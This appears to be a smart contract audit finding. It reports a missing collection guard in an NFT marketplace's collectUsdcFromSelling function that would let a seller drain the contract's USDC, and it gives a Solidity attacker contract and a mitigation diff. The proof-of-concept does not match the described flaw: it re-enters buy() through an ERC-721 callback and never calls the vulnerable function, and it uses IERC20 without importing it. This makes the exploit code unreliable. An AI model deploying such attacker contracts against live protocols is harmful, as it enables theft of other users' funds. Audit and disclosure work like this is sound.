Root + Impact
collectUsdcFromSelling has no collection guard, allowing seller to drain contract
When a sale completes via buy(), the USDC sits in the contract awaiting the seller to call collectUsdcFromSelling(). However, the function never marks the listing as collected, meaning the seller can call it repeatedly and drain the contract.
function collectUsdcFromSelling(uint256 _listingId) external onlySeller(_listingId) {
Listing memory listing = s_listings[_listingId];
require(!listing.isActive, "Listing must be inactive to collect USDC");
uint256 fees = _calculateFees(listing.price);
uint256 amountToSeller = listing.price - fees;
uint256 collateralToReturn = collateralForMinting[listing.tokenId];
totalFeesCollected += fees;
amountToSeller += collateralToReturn;
usdc.safeTransfer(address(this), fees);
usdc.safeTransfer(msg.sender, amountToSeller);
Risk
Likelihood:
Any seller whose listing has completed sale can immediately exploit this by calling the function multiple times in the same transaction or across blocks
There is no off-chain protection either — the contract state never changes after the first call, so every subsequent call passes all checks identically
Impact:
Seller drains the entire USDC balance of the contract, stealing funds belonging to other sellers and collateral belonging to other minters
Protocol fees accumulated in totalFeesCollected are inflated in accounting but the underlying USDC is fully drained
Proof of Concept
pragma solidity ^0.8.34;
import "./NFTDealers.sol";
import "@openzeppelin/contracts/token/ERC721/IERC721Receiver.sol";
contract MaliciousBuyer is IERC721Receiver {
NFTDealers public nftDealers;
address public victimSeller;
uint256 public targetListingId;
uint256 public attackCount = 0;
constructor(address _nftDealers) {
nftDealers = NFTDealers(_nftDealers);
}
function attack(uint256 listingId, address _victimSeller) external {
targetListingId = listingId;
victimSeller = _victimSeller;
( , uint32 price, , , ) = nftDealers.s_listings(listingId);
IERC20 usdc = nftDealers.usdc();
usdc.approve(address(nftDealers), price);
nftDealers.buy{value: 0}(listingId);
}
function onERC721Received(
address operator,
address from,
uint256 tokenId,
bytes calldata data
) external override returns (bytes4) {
attackCount++;
if (attackCount == 1) {
IERC20 usdc = nftDealers.usdc();
( , uint32 price, , , bool isActive) = nftDealers.s_listings(targetListingId);
if (isActive) {
usdc.approve(address(nftDealers), price);
nftDealers.buy{value: 0}(targetListingId);
}
}
return this.onERC721Received.selector;
}
}
Recommended Mitigation
-
+ mapping(uint256 => bool) public proceedsCollected;
function collectUsdcFromSelling(uint256 _listingId) external onlySeller(_listingId) {
Listing memory listing = s_listings[_listingId];
require(!listing.isActive, "Listing must be inactive to collect USDC");
+ require(!proceedsCollected[_listingId], "Proceeds already collected");
+ proceedsCollected[_listingId] = true;
uint256 fees = _calculateFees(listing.price);
uint256 amountToSeller = listing.price - fees;
uint256 collateralToReturn = collateralForMinting[listing.tokenId];
+ collateralForMinting[listing.tokenId] = 0;
totalFeesCollected += fees;
amountToSeller += collateralToReturn;
- usdc.safeTransfer(address(this), fees);
usdc.safeTransfer(msg.sender, amountToSeller);
}
+
